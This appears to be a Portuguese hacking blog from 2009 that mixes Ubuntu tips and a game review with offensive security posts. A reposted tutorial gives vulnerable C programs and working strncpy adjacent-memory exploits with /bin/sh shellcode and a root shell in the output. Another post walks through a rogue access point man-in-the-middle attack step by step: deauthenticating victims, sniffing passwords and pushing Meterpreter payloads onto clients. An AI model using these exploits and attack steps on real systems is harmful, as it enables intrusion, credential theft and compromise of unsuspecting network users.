Teeworlds

sábado, 26 de dezembro de 2009 0 comentários
Opa, beleza pessoal, alguem aqui já ouviu falar no Teeworlds ? pois é, pra quem nao conheçe ou já ouviu falar mais nao sabe muito sobre ele, resolvi escrever algumas coisas..
Eu achei esse jogo muito interessante, apesar de um grafico meio, 'infantil' por tras ele esconde um jogo de ação eletrizante, muito rapido, onde ele mistura alguns elementos como os tamanho do personagem e uns cenarios infantils do Worm, e toda a velocidade, e ação do jogo the duel, e que pra mim é muito bom...
em D2 sua ação eletrizante e ao mesmo tempo, 'infantil' supreende...

alguns screenshots:



 

 no site oficial voces podem fazer o download do jogo, ele é extremamente leve, aconselho a todosexperimentar..

site oficial: www.teeworlds.com

Deixando janelas transparentes no ubuntu

domingo, 20 de dezembro de 2009 0 comentários
Bom, podemos deixar janelas, barras de frramentas, e tudo e qualquer coisa 'transparente' na medida que voce quiser o grau de transparencia ;DD
primeiramente abrimos o terimnal e digitamos o seguinte comando:
.
sudo apt-get install xcompmgr transset
.
depois de inslarmos o transset, nos podemos testar:
digitamos o seguinte comando:
.
transset 0.8
.
e pronto a seta mouse se transformara em uma cruz e entao é só voce clicar na janela que seseja ficar tranparente
o valor: '0.8 pode ser modificado, quanto menos o valor, mais tranparente vai ficar, lembrando que
tem que ter sempre o ponto.
.
ex: transset 0.5 | e ai vai dá sua escolha..
.
e para deixar normal a janela basta digitar no terminal novamente:
.
transset 1.0
.
e clicar na janela que estava transparente com a cruz e dai volta ao normal..
olhe alguns resoltados:
.
http://up.dgoh.org/upload/imagens/capturnrn.png
.
http://up.dgoh.org/upload/imagens/capturtft.png
.
http://up.dgoh.org/upload/imagens/capturasa.png

f0nt_Drk [s]

Resolvendo problemas com PHPMyAdmin no Ubuntu

terça-feira, 15 de dezembro de 2009 0 comentários
Opa, iai pessoal.
Bom, hoje estava eu, instalando o apache, php, mysql, e a famosa ferramenta phpmyadmin, no meu ubuntu 9.04, bls, empolgado pra realizar alguns testes, e tambem utilzar das ferramentas, lá vou eu testar..

http://localhost/phpmyadmin/

eu me deparo com a a pagina de erro ;S realmente, alguns que instalam todos os pacotes e tals, pelo apt-get te esse problema, por outro metodo pode até, ter, mas ai eu nao sei..
entao, eu fui verificar nao era nenhum erro na instalação, resolvir pequisar.. e encontrei uma maravilhosa solução em um blog ( blog do caio moritz )

entao vamos lá:

 
sudo cp -r /usr/share/phpmyadmin/ /var/www/phpmyadmin
Agora aponte seu navegador para http://localhost/phpmyadmin. Você deve ver a tela de login do sistema.
Bem simples né, moçada, mas util, realmente solucionou meu problema.. até mais, espero ter ajudado!

f0nt_Drk [s]

Sobre este simplório autor .

domingo, 13 de dezembro de 2009 0 comentários
Sobre eu mesmo ,
E aquilo que me persegue ,
Sobre o que eu sinto,
E o que me segue .
Sobre o que eu escrevo ,
Nem sempre sendo herege ,
Vista curta de uma visão ensaiada ,
Pois sobre o que eu sou ,
Não sei nada ,
Talvez eu nada sou .


Ômar Fontenele, A.K.A f0nt_Drk
Curso o 2º ano do ensino médio e curto filosofia, literatura, sociologia, computadores, hacking e linguagens de programações .


External Links :

http://packetstormsecurity.org/files/author/8804/
http://www.exploit-db.com/author/?a=3207
http://experiencesblog.tumblr.com/

Exploitando Memoria Adjacente

0 comentários
***********************************
* EXPLOITANDO MEMORIA ADJACENTE *
***********************************

1 - Introducao
2 - O Problema
3 - A Exploitacao
4 - Expansao do Conceito
5 - Terminando
5.1 - Links e Referencias
5.2 - Consideracoes Finais
5.2 - Agradecimentos

---------------
1 - Introducao |
---------------

Os ataques de Buffer Overflows parecem que ainda perdurarao por algum
tempo. Apesar dos esforcos de grande parte da Comunidade de Seguranca,
os exemplos de condicoes de overflow permanecem como uma "constante"
entre os aplicativos de um modo geral.

Ateh onde eu conheco, o conceito de buffer overflow eh apenas um, no
entanto, as tecnicas para implementacao deste conceito sao diversas. E
ateh onde eu sei, o Mudge(antiga L0pht, hoje @stake), foi o primeiro a
expandir para as massas o conceito de buffer overflows. Desde o worm
(Robert Morris, 1988) ateh os nossos dias, muitos programadores tem
procurado diminuir as condicoes de buffer overflows em programas que
manipulam parametros recebidos de um usuario, substituindo funcoes
conhecidas como vulneraveis(strcpy, gets, sprintf) por funcoes que
necessariamente fazem checagem do tamanho dos parametros recebidos
(strncpy, snprintf, etc).

No dia 01 de maior de 2000, twich (twitch@vicar.org) tornou manifesto
uma tecnica capaz de exploitar espacos de memoria adjacente,
especificamente o manuseio incorreto das funcoes ditas seguras(strcnpy,
por exemplo). As Analises de codigo-fonte(auditoria) passaram agora
a incluir todo tipo de funcoes, demonstrando assim que nao basta apenas
a funcao fazer a checagem do tamanho dos parametros, mas outros fatores
passaram a ser essenciais.

Neste documento abordaremos esta tecnica. Conhecimentos em C, Assembly
(AT&T), escrita de exploits(ver docs da Unsek Scene) e linux se fazem
necessarios. E principalmente mentalidade fucadora!

---------------
2 - O Problema |
---------------

Podemos descrever basicamente o problemas com as funcoes ditas seguras
(strncpy, strncat, etc) eh que elas nao sao capazes de terminar
automaticamente os buffers ou strings com um NULL. Como assim?


Vejamos nosso primeiro codigo inicial:

----------------------------------- b1.c ----------------------------------
/* Exemplo de strncpy() */

#include
#include

int main(int argc, char *argv[]){
char buffer[256];

/* Iremos copiar argv[1] para buffer e imprimir */
strncpy(buffer,argv[1],sizeof(buffer));

/* Iremos imprimir o tamanho da string recebida em argv[1] */
printf("strlen: %d | sizeof: %d\n",strlen(buffer), sizeof(buffer));

return 0;
}
--------------------------------------------------------------------

Como sabemos, strcnpy() ira copiar os dados recebidos da linha de
comando ateh chegar o tamanho de buffer(sizeof(buffer)) ou ateh
receber um NULL(\0), vejamos um exemplo de execucao:

kimera3:/work/testes# ./b1 `perl -e 'print "A" x 255'`
strlen: 255 | sizeof: 256

A "anomalia" ocorre quando digitamos mais dados que o tamanho do
buffer de espera. Vejamos:

kimera3:/work/testes# ./b1 `perl -e 'print "A" x 256'`
strlen: 265 | sizeof: 256
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 257'`
strlen: 265 | sizeof: 256

Como podemos notar strlen() contem um tamanho superior ao esperado.
Isso ocorre porque strncpy() nao recebeu o caracter NULL e de alguma
forma uniu dados ateh encontrar um NULL. Podemos clarear mais analisando
o programa abaixo:

-------------------------------- b2.c --------------------------------

/* Exemplo 2 de strncpy() */

#include
#include

int main(int argc, char *argv[]){
char buffer1[20], buffer2[8];

/* Iremos copiar argv[1] para buffer1 */
strncpy(buffer1,argv[1],sizeof(buffer1));

/* Iremos copiar buffer1 para buffer2 */
strncpy(buffer2,buffer1,sizeof(buffer2));

/* Iremos imprimir agora o conteudo de buffer2 */
printf("Buffer2: %s\n",buffer2);
return 0;
}
------------------------------------------------------------------------

Executando este programa, teoricamente deveriamos ter a saida de buffer2,
ou seja, uma string contendo 8 caracteres.Mas vejamos:

kimera3:/work/testes# ./b2 NashLeon
Buffer2: NashLeonNashLeon

NashLeonNashLeon possue 16 caracteres.
No mais a gente pode brincar com isso:

kimera3:/work/testes# ./b2 NashLeonUnsek
Buffer2: NashLeonNashLeonUnsek
kimera3:/work/testes# ./b2 NashLeonUnsekScene
Buffer2: NashLeonNashLeonUnsekScene
kimera3:/work/testes# ./b2 NashLeonUnsekSceneAgain
Buffer2: NashLeonNashLeonUnsekSceneAgxúÿ¿çâ@

Ele imprime justmente porque o strncpy() nao encontrou o caracter
NULL como esperava. Com menos de 8 caracteres, poderiamos ter:

kimera3:/work/testes# ./b2 Nash
Buffer2: Nash
kimera3:/work/testes# ./b2 NashLeo
Buffer2: NashLeo

Ou seja, a execucao e impressao em modo normal e esperado, jah que
temos um NULL na string indicando o termino dela. O stack nesse
caso iria parecer como:

Memoria
Alta
|| ----------------> [Topo do Stack]
|| ----------------> [ 'N' (buffer2 - 0) ]
|| ----------------> [ 'a' (buffer2 - 1) ]
|| ----------------> [ 's' (buffer2 - 2) ]
|| ----------------> [ 'h' (buffer2 - 3) ]
|| ----------------> [ 'L' (buffer2 - 4) ]
|| ----------------> [ 'e' (buffer2 - 5) ]
|| ----------------> [ 'o' (buffer2 - 6) ]
|| ----------------> [ 'n' (buffer2 - 7) ]
|| ----------------> [ 'N' (buffer1 - 0) ]
|| ----------------> [ 'a' (buffer1 - 1) ]
|| ----------------> [ 's' (buffer1 - 2) ]
|| ----------------> [ 'h' (buffer1 - 3) ]
|| ----------------> [ 'L' (buffer1 - 4) ]
|| ----------------> [ 'e' (buffer1 - 5) ]
|| ----------------> [ 'o' (buffer1 - 6) ]
|| ----------------> [ 'n' (buffer1 - 7) ]
|| ----------------> [ 'U' (buffer1 - Cool ]
|| ----------------> [ 'n' (buffer1 - 9) ]
|| ----------------> [ 's' (buffer1 - 10) ]
|| ----------------> [ 'e' (buffer1 - 11) ]
|| ----------------> [ 'k' (buffer1 - 12) ]
|| ----------------> [ 0x00 (buffer1 - 13) ]
||
|| ...
\/


Como podemos ver, este problema eh real e pode ser exploitado. Veremos
como na secao abaixo.

------------------
3 - A Exploitacao |
------------------

Este problema pode ser exploitado de inumeras maneiras. Dependendo
do nivel do atacante, ele pode se aproveitar ateh mesmo do exemplo
inicial postado neste documento. Como este e todos os meus documentos
visam NewBies, veremos inicialmente o exemplo mais trivial de se
exploitar este problema.

Como vimos no exemplo acima, strlen() tende a ser maior do que o
esperado quando enchemos um buffer e strncpy() nao encontra um NULL,
criando assim anomalias entre a interacao de funcoes.

Vejamos abaixo uma possivel implicacao disso:

-------------------------------- v.c ------------------------------------
/* Exemplo inicial de programa vulneravel
* Documento sobre problemas com memoria adjacente
* Nash Leon - nashleon@yahoo.com.br.
*/

#include
#include

int bugada(char *buffer);

int main(int argc,char *argv[]) {
char buf1[512];
char buf2[256];

strncpy(buf2,argv[1],sizeof(buf2));
strncpy(buf1,argv[2],sizeof(buf1));

bugada(buf2);
return 0;
}

int bugada(char *buffer){
char buf3[300];
int i;

/* note que buf3 suporta 300 bytes enquando
* buf2(buffer) teoricamente deveria conter no maximo
* 256.
*/
for(i = 0; i < strlen(buffer); i++){
buf3[i] = buffer[i];
}
}
----------------------------------------------------------------------

Para exploitarmos este programa, nao tem muito segredo. Vamos encher
o primeiro buffer com NOPs e o nosso shellcode, e o segundo apenas
com o endereco de retorno. Existem inumeros esquemas em cima disso,
em alguns casos, partindo o shellcode ou manipulando NOPs, enfim,
vejamos o exploit abaixo:

--------------------------------- ev.c -----------------------------------
/* Primeiro exemplo de exploit para
* strcnpy() - Espaco de Memoria Adjacente.
* Desenvolvido por Nash Leon p/ tutorial.
* nashleon@yahoo.com.br
*/

#include
#include
#include
#include

#define LENBUFF1 256
#define LENBUFF2 512

/* Shellcode Padrao */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";


/* Captura o Stack Pointer */
unsigned long get_sp(void){
__asm__("movl %esp,%eax");
}

int main(int argc,char *argv[]) {
char buff1[LENBUFF1];
char buff2[LENBUFF2];
int i, offset = 0;
unsigned long retaddr;

if(argc < 2){
printf("Uso: %s \n",argv[0]);
exit(0);
}

offset = atoi(argv[1]);

memset(buff1,0x90,sizeof(buff1));
memcpy(buff1+100,shellcode,strlen(shellcode));

retaddr = get_sp() + offset;
for(i=0; i< LENBUFF2; i+=4){
buff2[i]=(retaddr&0x000000ff);
buff2[i+1]=(retaddr&0x0000ff00)>>8;
buff2[i+2]=(retaddr&0x00ff0000)>>16;
buff2[i+3]=(retaddr&0xff000000)>>24;
}

printf("Usando Retorno: 0x%x\n", retaddr);
execl("./v","./v",buff1,buff2,NULL);
}

----------------------------------------------------------------------

Vamos executar ele, entao:

kimera3:/work/testes# ./ev 150
Usando Retorno: 0xbffff7f2
Segmentation fault (core dumped)
kimera3:/work/testes# ./ev 155
Usando Retorno: 0xbffff7f7
sh-2.03#

Como podemos ver, eh funcional! Mas podemos dividi-lo e aprimora-lo
ateh mesmo para evitar o uso de offsets. Outro possivel esquema pode
obedecer o seguinte modelo descrito pelo twitch na Phrack 56:

Apos a execucao de strncpy(), buf2 deve parecer com:

[ 0 ......................................................... 512 ]
--------------------------------------------------------------------
| | |
| offset_para_shellcode | Um monte de lixo(NULL, NOPs) |
| | |
--------------------------------------------------------------------


E buf1 deve parecer com:

[ 0 .......................................................... 256 ]
--------------------------------------------------------------------
| | | |
| Cadeia de NOP's | shellcode | Mais NOP's |
| | | |
--------------------------------------------------------------------

Logo, para este esquema poderiamos ter o seguinte exploit:

-------------------------------- ev2.c ---------------------------------
/* Segundo exemplo de exploit para
* strcnpy() - Espaco de Memoria Adjacente.
* Desenvolvido por Nash Leon p/ tutorial.
* nashleon@yahoo.com.br
*/

#include
#include
#include
#include

#define LENBUFF1 256
#define LENBUFF2 512

/* Shellcode Padrao */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";


/* Captura o Stack Pointer */
unsigned long get_sp(void){
__asm__("movl %esp,%eax");
}

int main(int argc,char *argv[]) {
char buff1[LENBUFF1];
char buff2[LENBUFF2];
int i, offset = 0;
unsigned long retaddr;

if(argc < 2){
printf("Uso: %s \n",argv[0]);
exit(0);
}

offset = atoi(argv[1]);


memset(buff1,0x90,sizeof(buff1));
memcpy(buff1+100,shellcode,strlen(shellcode));

retaddr = get_sp() + offset;

memset(buff2,0x90,sizeof(buff2));

for(i=0; i< LENBUFF2 - 360; i+=4){
buff2[i]=(retaddr&0x000000ff);
buff2[i+1]=(retaddr&0x0000ff00)>>8;
buff2[i+2]=(retaddr&0x00ff0000)>>16;
buff2[i+3]=(retaddr&0xff000000)>>24;
}

printf("Usando Retorno: 0x%x\n", retaddr);
execl("./v","./v",buff1,buff2,NULL);
}

----------------------------------------------------------------------

Executando:

kimera3:/work/testes# ./ev2 120
Usando Retorno: 0xbffff7c4
sh-2.03#


Bom, como podemos perceber nao ha muito problema em exploitar este
tipo de problema. Mas podemos ir mais alem.


-------------------------
4 - Expansao do Conceito |
-------------------------

Qualquer funcao que manipula strings a espera de um caracter NULL
para "encerrar" a string pode estar vulneravel a este tipo de problema.
Vimos no exemplo acima, strncpy(), uma funcao que eh muito usada, mas
podemos ir mais alem.

As seguintes funcoes tambem podem apresentar problemas:

fread()
read() [ read(), readv(), pread() ]
memcpy()
memccpy()
memmove()
bcopy()
for(i = 0; i < MAXSIZE; i++)
buf[i] = buf2[i];
gethostname()
strncat()
e etc.

Hoje em dia, a que mais chama a atencao eh a for().
Vejamos o exemplo abaixo:

------------------------------- v2.c ---------------------------------
/* Exemplo de programa vulneravel em for().
* Documento sobre problemas com memoria adjacente
* Nash Leon - nashleon@yahoo.com.br.
*/

#include
#include

#define MAXSIZE 256

int bugada(char *buffer);

int main(int argc,char *argv[]) {
char buf1[MAXSIZE];
char buf2[MAXSIZE];
char *pam;
int i;

pam = argv[1];

/* Copiamos conteudo de argv[1] para buf1 */

for(i = 0; i < MAXSIZE; i++){
buf1[i] = pam[i];
}

for(i =0; i < MAXSIZE; i++){
buf2[i] = buf1[i];
}

bugada(buf2);
return 0;
}

int bugada(char *buffer){
char buf3[MAXSIZE];
int i;
for(i = 0; i < strlen(buffer); i++){
buf3[i] = buffer[i];
}
}
-------------------------------------------------------------------

# gdb ./v2
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) r `perl -e 'print "A" x 256'`
Starting program: /work/testes/./v2 `perl -e 'print "A" x 256'`
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)


Bom, como podemos ver, o problema eh serio! E condicoes com for()
ainda tem sido manifestadas em inumeros programas. O conceito eh este
e em breve espero poder abordar maiores pormenores sobre isso.

---------------
5 - Terminando |
---------------

Mais um documento sobre buffer overflows. Inumeras tecnicas existem e
este documento eh mais um basico.

Para impedir que os buffers sejam usados em condicoes de overflow
pela funcoes, em muitos casos basta apenas inserir um caracter NULL(\0)
no final do buffer, algo como:

#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE - 1] = '\0';
...

ou entao jah evitar quais problemas na propria funcao receptora:
#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE - 1; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE] = '\0';
...


5.1 - Links e Referencias
--------------------------

Existem varios documentos descrevendo esta tecnica, no entanto, em
forma de tutorial encontrei apenas dois ateh agora:

P56-14 - "TAKING ADVANTAGE OF NON-TERMINATED ADJACENT MEMORY SPACES" -
escrito por twitch - http://www.phrack.org/

" Exploiting none terminated buffers" - escrito por pr1 -
http://www.u-n-f.com/

Outros links interessantes:

http://www.kimera.com.br/
http://www.linuxsecurity.com.br/
http://unsekurity.virtualave.net/
http://www.axur.org/
http://www.securenet.com.br/
http://int0x80.host.sk/
http://www.unsecurity.org/


http://www.core-sdi.com/
http://packetstorm.linuxsecurity.com/
http://www.securityfocus.com/
http://www.counterpane.com/
http://www.atstake.com/
http://teso.scene.at/


5.2 - Consideracoes Finais
---------------------------

Buffer overflows eh uma tecnica fascinante, como qualquer outra tecnica
fucadora. O interessante aqui nao eh a programacao, mas a malicia.
Tenho visto muitas pessoas confundirem hacking com programacao. Achando
que programar em Assembly ou saber fazer isso ou aquilo outro os torna
especiais.

Nao sei, mas neste ponto concordo com Mitnick:

"Super-programadores sao pessimos hackers!".

De modo que, a malicia nao estah associada a capacidade de programar.
Dizem que programar eh resolver problemas, mas vejo muitos programadores
seguirem sempre uma logica pre-definida, ensinada por alguem. O hacking
ultrapassa essa esfera. Eh resolver problemas com o que se tem na mao
e nao construindo coisas para facilitar.Eh alterar a propria logica,
a regra do jogo, manipulando-a de uma forma nao-convencional(pre-
estabelecida).

Programar eh importante, mas eh apenas uma das facetas do hacking, tem
muito mais coisas e coisas mais importantes que estas.

Devemos dar um passo devagar e constante, olhando tudo ao nosso redor
e procurando definir limites as nossas acoes. A experiencia se adquire
com o tempo, o que antes parecia devaneio, agora pode ser realidade,
e o que muitos creem hoje ser fabula amanha pode se tornar um pesadelo.
Nao existe destino individual, cada um decide qual lado da forca quer
ajudar.A utilizacao do conhecimento eh o que nos torna o ser humano
que somos e nao o contrario. Se guardarmos o conhecimento apenas para
nos mesmos, deixaremos de lado a existencia de um hacker no espirito
humano.


5.3 - Agradecimentos
---------------------

Agradeco a Deus pela oportunidade de ter um objetivo na vida.
E tambem as pessoas que compartilham o conhecimento para produzir mais
conhecimento e beneficiar a vida das pessoas. Tambem as inumeros grupos
e fucadores que nao podem assinar os documentos, ou exploits e programas
que escrevem mas que utilizam suas forcas para ajudar o proximo. Agradeco
aos hackers corajosos que disponibilizam infos em paises cuja lei nao
permite, que sao perseguidos por lutarem contra a propriedade intelectual
e por procurarem democratizar nao apenas os softwares mas tambem, e
principalmente, a informacao.

Por fim, a todos que colaboram com a cena hacker aqui no brasil e que sao
criticados e hostilizados por acreditarem que a etica hacker pode ser
real para aqueles que a vivenciam. Aos grupos Int 0x80, Unsekurity Scene,
ZinesBR, Unsecurity.org, EoH, as scenes de outros paises, a
linuxsecurity.com.br, Axur Corp, Kimera - Solucoes em Seguranca,
BufferOverflow.org, e a todos que fazem parte deste universo da
inseguranca da informacao.

Um Abraco

Nash Leon.

Unsekurity Team.

Man-In-The-Middle na prática

0 comentários
Fala ae pessoal, neste post, vou dar um exemplo de um ataque MITM(Man-In-The-Middle, ou Homem no meio).

Muita gente pensa que MITM é apenas usar o Ettercap e já virou hacker, outros até, pensam que ataques deste tipo não servem de nada.

Infelizmente, esta é a realidade de muitas pessoas que são pseudo-hackers ou até mesmo pseudo-elites Wink

Vamos lá, um ataque de MITM é quando o hacker se torna um relay entre dois, ou mais, clientes, neste caso, um Acess Point Wireless. Em essência, o hacker se torna um 'tracehop', que é um hop(ponto de passagem, nó).
Ataques MITM são muito usados para Phising, Spoofing e Sniffing. A única desvantagem desta técnica, é que dependendo do modelo OSI, você precisará ter acesso físico ao Acess Point.

Os meios para se explorar clientes usando a técnica do MITM são limitados a dois fatores: sua imaginação e a quantidade de maldade em seu coração. A boa notícia é: pode-se fazer muita pouca coisa se você não tiver maldade na cabeça.

Bom, vamos ao ataque, para executá-lo, você precisará de algumas ferramentas. Existem apenas poucas ferramentas que são realmente essênciais para fazer um MITM, mas para explorá-lo com eficiência, você precisará de muito mais, programar exploits também é bom Wink

A base de um ataque MITM é pelos seguintes programas: airbase-ng(Incluido no aircrack-ng), bind9 e dhcp3-server.

Você pode usar também o Nessus, nmap, wireshark, ettercap, thc-hydra, metasploit, NetworkMiner, wine, cowpatty, nikto e vários outros.

Você também precisará de duas interfaces de rede, uma de entrada e uma de saída. Assegure-se que elas precisam ter suporte a 'modo monitor'. As suas vítimas precisam apenas estar rodando algum cliente wireless Wink

Lembrando sempre que para executar estes passos que estou passando-lhes, você precisa estar rodando um console BASH e as interfaces de rede precisam ser eth0 e eth1 para não se confundirem.

Você precisa configurar um gateway totalmente funcional apenas uma vez, para isso, entre no arquivo de configuração do seu dhcp, o qual é /etc/default/dhcp3-server, agora, encontre a seguinte linha:

...INTERFACES=

E coloque a interface que será o seu Acess Point, neste caso, será eth1, salve e saia.

Agora, abra o arquivo /etc/dhcp3/dhcpd.conf e insira as seguintes linhas:

Código:
ddns-update-style none; log-facility local7; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.250; option domain-name-servers 10.0.0.1; option routers 10.0.0.1; default-lease-time 600; max-lease-time 7200; }


Isso fará com que todo mundo que se conectar a você, será colocado na faixa de sub-rede entre 10.0.0.100 e 10.0.0.249. Tendo em mente que você é o 10.0.0.1, e que você tem um servidor DNS em seu computador. O que você terá. Agora, reinicialize o dhcp3-server com o seguinte comando:

Código:
sudo /etc/init.d/dhcp3-server restart


Se você quer ser um elite, você pode colocar uma conexão de loopback que você pode usar para rodar exploits sem precisa de uma outra máquina, abra o arquivo /etc/network/interfaces, DEPOIS DE TER CERTEZA DE QUE TEM UM BACKUP DELE. Adicione as linhas:

Código:
auto lo eth1 iface eth1 inet dhcp iface lo inet loopback


E rode o comando:

Código:
sudo /etc/init.d/networking restart


Agora que você tem um servidor DHCP, você precisa ligar e rodar o seu servidor DNS, para isso, usaremos o Bind9.

O Bind9 já vem configurado, então você apenas precisará modificá-lo para seus próprios sites, não farei isto agora para encurtar o post Wink
Agora, execute o comando:

Código:
/etc/init.d/bind9 stop


E abra o arquivo /etc/bind/named.conf.options, descomente as linhas a seguir e adicione servidores DNS alternativos, eu uso os do OpenDNS, o meu arquivo está assim:

Código:
options { directory "/var/cache/bind"; fowarders { 208.67.222.222; 208.67.220.220}; auth-nxdomain no;  listen-on-v6{ any; }; };


Agora, ligue o Bind9 de novo com o comando:

Código:
/etc/init.d/bind9 start


Neste momento, estamos prontos para executar o ataque Wink

Primeiro de tudo, conecte-se à internet usando a interface eth0, você provavelmente usará o servidor de acesso mais próximo, então, rode os seguintes comando para dar um kill em algumas coisas que podem causar conflitos, e dar poder sobre a interface de Acess Point(eth1):

Código:
kill `cat /var/run/dhcp.pid` killall -9 dhcp3-server dhcpd wireshark ettercap airbase-ng airmon-ng stop eth1 ifconfig eth1 down modprobe tun airbase-ng -e "ESSID" -P -C 30 -v eth1


O "ESSID" é o da rede a qual você está atacando. O parâmetro "-P" faz com que o Acess Point responda à todas as requisições e pedidos, capturando usuários bem mais rápido. O "-C 30" irá mudar os seus pacotes de resposta para enganar usuários, eles entrarão na rede mesmo se o SSID estiver incorreto.
Tenha certeza de que os comandos acima foram executados com sucesso para prosseguir.

Agora, você precisa configurar o seu iptables para o seu Acess Point, perceba que a interface at0 é muito fácil de ser colocado um sniffer junto, tudo o que você precisa fazer é executar os comandos a seguir o mais rápido o possível, para terminar de executá-los antes que muitos clientes tentem se conectar à rede, sugiro que você crie um script em Shell para isso :

Código:
ifconfig at0 up ifconfig at0 10.0.0.1 netmask 255.255.255.0 ifconfig at0 mtu 1400 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT iptavles -t nat -A POSTROUTING -o eth0 -j MASQUERADE ettercap -T -q -p -i at0


Agora você tem um Acess Point totamente funcional, junto de um Sniffer embutido(se você tiver o ettercap instalado, é claro). Você perceberá que não tem muitos clientes se conectando, agora vem a parte divertida Wink
Executaremos um ataque de Deauth(Desautenticação). Use o airodump-ng ou o ksmet para encontrar clientes e conseguir informações dos mesmos, com estas informações em mãos, execute o Deauth:

Código:
aireplay-ng -e "ESSID-ALVO" -a "MAC-DO-Acess-Point-ALVO" -c "MAC-Do-cliente-ALVO" --deauth 1 eth3


Se tudo correr bem, você poderá executar o comando a seguir para ver os clientes estão relativamente inativos. Se acontecer de ninguém re-entrar na rede logo em seguida, então eles possuem uma boa rede, e você precisará abusar um pouco da sua engenharia social para conseguir que eles se reconectem à rede. Espero que você tenha um ótimo "plano B" e inteligênicia e técnica o suficiente para isso.
Este é o comando para ver os clientes:

Código:
echo > '/var/state/dhcp/dhcpd.leases' ou sudo dhclient


Se tudo correu bem até aqui, então você está em uma posição perfeita para 'brincar' com os clientes Wink

Agora vai da sua imaginação, você pode usar um sniffer para capturar senhas, por exemplo o Wireshark ou Ettercap, usando filtros específicos, lembrem-se sempre que você precisará 'sniffar' a interface at0.

Usando o Network Miner, vocês podem até mesmo recriar a maioria dos arquivos que as pessoas baixam.

Você pode colocar executáveis em seus clientes, usando o Network Miner ou algum filtro do Ettercap, ou até mesmo copiando e colando nas pastas compartilhadas do windows ou até mesmo algum exploit de Iframe Wink

Colocando e executando alguma payload já compilada, o Meterpreter por exemlpo, você terá acesso a uma Shell em seu cliente.

"O resto nasce daí"

Simples assim Wink

Este é um exemplo muito claro e real de um ataque de MITM, é claro, isto é apenas o básico, como já disse no começo do post, existem infinitas possibilidades de execuções ou ataques, agora que você já sabe como fazer, basta apenas ter imaginação Wink

Escrito por: Fzero

Manifesto Hacker

0 comentários
Mais um foi pego hoje, está por toda parte nos jornais.
"Adolescente Preso em Escândalo de Crime de Computador", " Hacker preso depois de trapaça em Banco". "Crianças malditas", "Crianças imbecis". Eles são todo iguais ".
Mas você em sua psicologia de três ângulos e pensamento de 1950, alguma vez olhou através dos olhos de um hacker?
Você já imaginou o que faz ele agir, quais forças o motivam, o que o tornou assim? Eu sou um hacker, entre em meu mundo.
Meu mundo é aquele que começa na escola. Eu sou mais inteligente que a maioria das outras crianças, esta besteira que nos ensinam me chateia.
"Maildição". Eles são todos iguais. Eu estou na escola primário ou secundária.
Eu escutei aos professores explicarem pela qüinquagésima vez como reduzir uma fração. Eu entendo isto.
" Não, Sra. Smith, eu não mostrei meu trabalho. Eu fiz ele em minha cabeça". "Criança maldita".
"Provavelmente copiou isto. Eles são todo iguais ". Eu fiz um descoberta hoje. Eu encontrei um computador.
Espere um segundo, isto está legal. Faz o que eu quero. Se comete um engano, é porque eu estraguei isto.
Não porque não gosta de mim, ou sente atração por mim, ou pensa que sou inteligente, ou não gosta de ensinar e não deveria estar aqui.
Criança maldita. Tudo que ele faz é jogar jogos. Eles são todo iguais.
E então aconteceu... uma porta abriu-se para um mundo...surfando rapidamente pela linha telefônica como heroína pelas veias de um viciado, uma pulsação eletrônica é enviada, um refúgio para a incompetência do dia-a-dia...
Encontramos uma BBS. "É isto...este é o mundo ao qual eu pertenço..." Eu conheço todos aqui...até mesmo se eu nunca tenha falado com eles, mesmo que nunca mais vá ter notícias novamente deles...Eu o conheço todos...
Criança malditas. Prendendo a linha telefônica novamente. Eles são todos iguais...
Você acertou seu babaca nós somos todo iguais...na escola nós comia-mos comida de bebê quando nós tinha-mos fome de bife ...os pedaços de carne que você deixou passar foi pre-mastigado e sem gosto.
Nós fomos dominados por sádicos, ou ignorados pelos apáticos. Os poucos que tiveram algo a nos ensinar quando crianças, achou os alunos dispostos a tudo, mas esses poucos são como gotas d'agua no deserto.
Agora este é o nosso mundo...o mundo eletrônico, a beleza da transmição eletrônica.
Nós fazemos uso de um serviço que já existe sem pagar o que poderia ser muito caro se não fosse usado por gulosos aproveitadores, e você nos chama os criminosos.
Nós exploramos...e você nos chama de criminosos. Nós buscamos por conhecimento...e você nos chama de criminosos. Nós existimos sem cor de pele, sem nacionalidade, sem preconceito religioso...e você nos chama de criminosos.
Você constrói bombas atômicas, você empreende guerras, você assassina, engana, e mente a nós e tenta nos fazer acreditar que é para nosso próprio bem, contudo nós somos os criminosos.
Sim, eu sou um criminoso. Meu crime é a curiosidade. Meu crime é o de julgar as pessoas pelo que eles dizem e pensam, não como eles se parecem.
Meu crime é ser mais inteligente do que vocês, algo que vocês nunca me perdoarão. Eu sou um hacker, e este é meu manifesto. Você pode parar este indivíduo, mas você não nos pode parar todos nós...afinal de contas, nós somos todo iguais.
The Mentor.

Este manifesto foi publicado em 1986 na e-zine Phrack 7, por The Mentor logo após ele ter sido preso.

Explorando Buffer Overflow em sistemas Unix

0 comentários
Fala ae pessoal.

Vou falar um pouco sobre Buffer Overflow neste tópico ;)

